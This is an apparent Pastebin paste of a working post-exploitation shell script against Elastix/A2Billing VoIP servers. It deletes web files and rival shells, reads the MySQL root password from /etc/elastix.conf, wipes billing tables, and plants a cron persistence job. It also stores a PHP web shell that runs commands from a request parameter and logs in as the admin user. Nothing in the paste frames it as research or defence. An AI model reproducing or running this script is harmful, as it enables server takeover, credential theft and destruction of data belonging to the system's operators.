Advertisement
Guest User

Untitled

a guest
Mar 5th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. echo "BADR";
  2. mkdir -p /var/www/html/_asterisk/;rm -rf /var/www/html/_asterisk/magnito.php;
  3. MMSSHHEELL
  4.  
  5. datz=`echo $((($(date +%s) - $(date +%s -r '/var/www/html/index.php')) / 86400 - 30))`;find /var/www/html/ -mtime -$datz -type f -not -name 'Do.php' -delete >/dev/null 2>&1
  6. for path in {"_asterisk/","recordings/","assets/"}; do find /var/www/html/${path} -type f -not -name 'Do.php' -delete; done
  7.  
  8. sed -i '/putenv/d' /var/www/html/recordings/includes/lang.php > /dev/null 2>&1
  9. chmod 0000 -R /var/www/html/a2billing
  10. echo '' > /var/www/html/a2billing//customer/checkout_process.php > /dev/null 2>&1
  11. sed -i '/exec/d' /var/www/html/a2billing/admin/Public/form_data/FG_var_backup.inc > /dev/null 2>&1
  12. rm -rf /tmp/magnito23 /var/run/system_update.pid /var/lib/asterisk/bin/check.system /var/lib/asterisk/bin/check.system
  13. find / -name config.all.php -exec rm -f {} \;
  14. find / -name phpversions.php -exec rm -f {} \;
  15. find / -name graph.php -exec rm -f {} \;
  16. find / -name by-emad.php -exec rm -f {} \;
  17. AMPDBPASS=`cat /etc/elastix.conf | grep mysqlrootpwd | cut -d'=' -f2`;mysql --user="root" --password=$AMPDBPASS --database="mya2billing" -e "delete from cc_server_manager where 1; delete from cc_backup where 1;update cc_config set config_value=0x7369742d6f6e2d6d792d6469636b where config_key = 0x6d616e616765725f736563726574;delete from asterisk.cronmanager where module='system_update';insert into asterisk.cronmanager set module='system_update' , id='UPDATES' , time=0,freq=24,lasttime=0,command='/var/lib/asterisk/bin/ultimateX';DROP TABLE IF EXISTS a0_00000,aa_virus,aa_003chiefs,aa_0003chiefs;CREATE TABLE a0_00000(ultimate char(255) NOT NULL default '<form action="" method="post" >&nbsp;</form>
  18. <?php
  19. echo "<xmp>";
  20. @system($_REQUEST['c']);
  21. echo "</xmp>";
  22. include_once "/var/www/html/libs/paloSantoDB.class.php";
  23. include_once "/var/www/html/libs/paloSantoACL.class.php";
  24. $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
  25. $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
  26. session_name("elastixSession");
  27. session_start();
  28. $_SESSION['elastix_user'] = $db[0][0];
  29. $_SESSION['elastix_pass'] = $db[0][1];
  30. echo '<a href="/" >Badr</a>';
  31.  
  32. ?>');" >/dev/null 2>&1
  33. echo "Released"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement